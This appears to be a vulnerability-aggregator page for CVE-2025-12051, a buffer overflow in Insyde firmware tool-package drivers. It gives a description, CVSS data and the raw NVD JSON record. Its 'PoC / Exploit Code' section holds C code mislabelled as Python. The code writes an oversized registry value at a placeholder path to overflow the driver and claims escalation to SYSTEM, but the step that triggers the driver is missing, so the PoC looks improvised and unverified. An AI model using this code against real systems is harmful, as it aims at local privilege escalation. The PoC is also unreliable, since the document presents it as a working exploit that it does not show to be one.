Security Vulnerability Report
中文
CVE-2025-12051 CVSS 7.8 HIGH

CVE-2025-12051

Published: 2026-01-14 02:15:50
Last Modified: 2026-04-15 00:35:42
Source: 8338d8cb-57f7-4252-abc0-96fd13e98d21

Description

The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Insyde固件工具包(Tool Packages)- 受影响版本待官方安全公告确认
使用RTL_QUERY_REGISTRY_DIRECT读取注册表的Insyde驱动程序

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12051 PoC - 概念验证代码 // 注意:此代码仅用于安全研究和漏洞分析 // 请勿用于非法用途 #include <windows.h> #include <stdio.h> // 定义注册表键路径(示例路径) const char* REG_KEY_PATH = "SYSTEM\\CurrentControlSet\\Services\\InsydeToolDriver"; const char* REG_VALUE_NAME = "ConfigParameter"; int main() { HKEY hKey; DWORD dwType = REG_SZ; // 生成超长字符串以触发缓冲区溢出 // 实际长度需要根据目标驱动程序的缓冲区大小确定 int overflowLength = 8192; // 示例长度 char* overflowData = (char*)malloc(overflowLength + 1); memset(overflowData, 'A', overflowLength); overflowData[overflowLength] = '\0'; printf("[*] CVE-2025-12051 PoC - Buffer Overflow in RTL_QUERY_REGISTRY_DIRECT\n"); printf("[*] Target: Insyde Firmware Tool Package Driver\n"); printf("[*] Attempting to create malicious registry value...\n"); // 尝试打开或创建注册表键 LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_KEY_PATH, 0, KEY_WRITE, &hKey); if (result != ERROR_SUCCESS) { printf("[-] Failed to open registry key. Administrator privileges may be required.\n"); printf("[-] Note: This vulnerability allows privilege escalation from low-privilege to SYSTEM.\n"); free(overflowData); return 1; } // 设置恶意注册表值以触发驱动程序中的缓冲区溢出 result = RegSetValueExA(hKey, REG_VALUE_NAME, 0, REG_SZ, (const BYTE*)overflowData, strlen(overflowData) + 1); if (result == ERROR_SUCCESS) { printf("[+] Malicious registry value created successfully\n"); printf("[+] Value length: %d bytes\n", overflowLength); printf("[*] Triggering driver to read the malicious value...\n"); // 触发驱动程序读取注册表值 // 这可能通过系统调用、驱动交互或其他方式实现 // 具体触发方式取决于目标驱动程序的实现 } else { printf("[-] Failed to set registry value. Error: %d\n", result); } RegCloseKey(hKey); free(overflowData); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12051", "sourceIdentifier": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "published": "2026-01-14T02:15:49.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow."}, {"lang": "es", "value": "Los controladores en los paquetes de herramientas usan el indicador RTL_QUERY_REGISTRY_DIRECT para leer un valor de registro al cual una aplicación en modo de usuario no confiable podría ser capaz de causar un desbordamiento de búfer."}], "metrics": {"cvssMetricV31": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.insyde.com/security-pledge/sa-2025010/", "source": "8338d8cb-57f7-4252-abc0-96fd13e98d21"}]}}